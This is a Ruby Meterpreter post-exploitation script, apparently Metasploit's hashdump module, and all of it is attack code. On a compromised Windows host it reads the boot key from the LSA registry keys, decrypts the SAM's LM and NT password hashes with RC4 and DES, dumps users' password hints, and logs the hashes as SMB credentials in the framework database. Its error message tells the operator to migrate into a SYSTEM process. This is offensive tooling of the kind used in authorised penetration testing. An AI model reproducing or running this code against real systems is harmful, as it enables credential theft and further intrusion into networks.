#
# Implement pwdump (hashdump) through registry reads + syskey

@client = client
opts = Rex::Parser::Arguments.new(
  "-h" => [ false, "Help menu." ],
  "-p" => [ true, "The SMB port used to associated credentials."]
)

smb_port = 445

opts.parse(args) { |opt, idx, val|
  case opt
  when "-h"
    print_line "hashdump -- dump SMB hashes to the database"
    print_line(opts.usage)
    raise Rex::Script::Completed
  when "-p"
    smb_port = val.to_i
  end
}

# Constants for SAM decryption
@sam_lmpass   = "LMPASSWORD\x00"
@sam_ntpass   = "NTPASSWORD\x00"
@sam_qwerty   = "!@\#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\x00"
@sam_numeric  = "0123456789012345678901234567890123456789\x00"
@sam_empty_lm = ["aad3b435b51404eeaad3b435b51404ee"].pack("H*")
@sam_empty_nt = ["31d6cfe0d16ae931b73c59d7e0c089c0"].pack("H*")

@des_odd_parity = [
  1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
  16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
  32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
  49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
  64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
  81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
  97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
  112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
  128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
  145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
  161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
  176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
  193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
  208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
  224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
  241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
]

def capture_boot_key
  bootkey = ""
  basekey = "System\\CurrentControlSet\\Control\\Lsa"
  %W{JD Skew1 GBG Data}.each do |k|
    ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ)
    return nil if not ok
    bootkey << [ok.query_class.to_i(16)].pack("V")
    ok.close
  end

  keybytes    = bootkey.unpack("C*")
  descrambled = ""
#	descrambler = [ 0x08, 0x05, 0x04, 0x02, 0x0b, 0x09, 0x0d, 0x03, 0x00, 0x06, 0x01, 0x0c, 0x0e, 0x0a, 0x0f, 0x07 ]
  descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ]

  0.upto(keybytes.length-1) do |x|
    descrambled << [ keybytes[ descrambler[x] ] ].pack("C")
  end


  descrambled
end

def capture_hboot_key(bootkey)
  ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account", KEY_READ)
  return if not ok
  vf = ok.query_value("F")
  return if not vf
  vf = vf.data
  ok.close

  hash = Digest::MD5.new
  hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)

  rc4 = OpenSSL::Cipher::Cipher.new("rc4")
  rc4.key = hash.digest
  hbootkey  = rc4.update(vf[0x80, 32])
  hbootkey << rc4.final
  return hbootkey
end

def capture_user_keys
  users = {}
  ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users", KEY_READ)
  return if not ok

  ok.enum_key.each do |usr|
    uk = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{usr}", KEY_READ)
    next if usr == 'Names'
    users[usr.to_i(16)] ||={}
    users[usr.to_i(16)][:F] = uk.query_value("F").data
    users[usr.to_i(16)][:V] = uk.query_value("V").data

    #Attempt to get Hints (from Win7/Win8 Location)
    begin
      users[usr.to_i(16)][:UserPasswordHint] = decode_windows_hint(uk.query_value("UserPasswordHint").data.unpack("H*")[0])
    rescue ::Rex::Post::Meterpreter::RequestError
      users[usr.to_i(16)][:UserPasswordHint] = nil
    end

    uk.close
  end
  ok.close

  ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names", KEY_READ)
  ok.enum_key.each do |usr|
    uk = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ)
    r = uk.query_value("")
    rid = r.type
    users[rid] ||= {}
    users[rid][:Name] = usr

    #Attempt to get Hints (from WinXP Location) only if it's not set yet
    if users[rid][:UserPasswordHint].nil?
      begin
        uk_hint = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Hints\\#{usr}", KEY_READ)
        users[rid][:UserPasswordHint] = uk_hint.query_value("").data
      rescue ::Rex::Post::Meterpreter::RequestError
        users[rid][:UserPasswordHint] = nil
      end
    end

    uk.close
  end
  ok.close
  users
end

def decrypt_user_keys(hbootkey, users)
  users.each_key do |rid|
    user = users[rid]

    hashlm_enc = ""
    hashnt_enc = ""

    hoff = user[:V][0x9c, 4].unpack("V")[0] + 0xcc

    #Check if hashes exist (if 20, then we've got a hash)
    lm_exists = user[:V][0x9c+4,4].unpack("V")[0] == 20 ? true : false
    nt_exists = user[:V][0x9c+16,4].unpack("V")[0] == 20 ? true : false

    #If we have a hashes, then parse them (Note: NT is dependant on LM)
    hashlm_enc = user[:V][hoff + 4, 16] if lm_exists
    hashnt_enc = user[:V][(hoff + (lm_exists ? 24 : 8)), 16] if nt_exists

    user[:hashlm] = decrypt_user_hash(rid, hbootkey, hashlm_enc, @sam_lmpass)
    user[:hashnt] = decrypt_user_hash(rid, hbootkey, hashnt_enc, @sam_ntpass)
  end

  users
end

def decode_windows_hint(e_string)
  d_string = ""
  e_string.scan(/..../).each do |chunk|
    bytes = chunk.scan(/../)
    d_string += (bytes[1] + bytes[0]).to_s.hex.chr
  end
  d_string
end

def convert_des_56_to_64(kstr)
  key = []
  str = kstr.unpack("C*")

  key[0] = str[0] >> 1
  key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2)
  key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3)
  key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4)
  key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5)
  key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6)
  key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7)
  key[7] = str[6] & 0x7F

  0.upto(7) do |i|
    key[i] = ( key[i] << 1)
    key[i] = @des_odd_parity[key[i]]
  end

  key.pack("C*")
end

def rid_to_key(rid)

  s1 = [rid].pack("V")
  s1 << s1[0,3]

  s2b = [rid].pack("V").unpack("C4")
  s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack("C4")
  s2 << s2[0,3]

  [convert_des_56_to_64(s1), convert_des_56_to_64(s2)]
end

def decrypt_user_hash(rid, hbootkey, enchash, pass)

  if(enchash.empty?)
    case pass
    when @sam_lmpass
      return @sam_empty_lm
    when @sam_ntpass
      return @sam_empty_nt
    end
    return ""
  end

  des_k1, des_k2 = rid_to_key(rid)

  d1 = OpenSSL::Cipher::Cipher.new('des-ecb')
  d1.padding = 0
  d1.key = des_k1

  d2 = OpenSSL::Cipher::Cipher.new('des-ecb')
  d2.padding = 0
  d2.key = des_k2

  md5 = Digest::MD5.new
  md5.update(hbootkey[0,16] + [rid].pack("V") + pass)

  rc4 = OpenSSL::Cipher::Cipher.new('rc4')
  rc4.key = md5.digest
  okey = rc4.update(enchash)

  d1o  = d1.decrypt.update(okey[0,8])
  d1o << d1.final

  d2o  = d2.decrypt.update(okey[8,8])
  d1o << d2.final
  d1o + d2o
end
if client.platform =~ /win32|win64/
  begin

    print_status("Obtaining the boot key...")
    bootkey  = capture_boot_key

    print_status("Calculating the hboot key using SYSKEY #{bootkey.unpack("H*")[0]}...")
    hbootkey = capture_hboot_key(bootkey)

    print_status("Obtaining the user list and keys...")
    users    = capture_user_keys

    print_status("Decrypting user keys...")
    users    = decrypt_user_keys(hbootkey, users)

    print_status("Dumping password hints...")
    print_line()
    hint_count = 0
    users.keys.sort{|a,b| a<=>b}.each do |rid|
      #If we have a hint then print it
      if !users[rid][:UserPasswordHint].nil? && users[rid][:UserPasswordHint].length > 0
        print_line "#{users[rid][:Name]}:\"#{users[rid][:UserPasswordHint]}\""
        hint_count += 1
      end
    end
    print_line("No users with password hints on this system") if hint_count == 0
    print_line()

    print_status("Dumping password hashes...")
    print_line()
    print_line()
    users.keys.sort{|a,b| a<=>b}.each do |rid|
      hashstring = "#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::"
      @client.framework.db.report_auth_info(
        :host  => client.sock.peerhost,
        :port  => smb_port,
        :sname => 'smb',
        :user  => users[rid][:Name],
        :pass  => users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0],
        :type  => "smb_hash"
      )

      print_line hashstring

    end
    print_line()
    print_line()

  rescue ::Interrupt
    raise $!
  rescue ::Rex::Post::Meterpreter::RequestError => e
    print_error("Meterpreter Exception: #{e.class} #{e}")
    print_error("This script requires the use of a SYSTEM user context (hint: migrate into service process)")
  rescue ::Exception => e
    print_error("Error: #{e.class} #{e} #{e.backtrace}")
  end
else
  print_error("This version of Meterpreter is not supported with this Script!")
  raise Rex::Script::Completed
end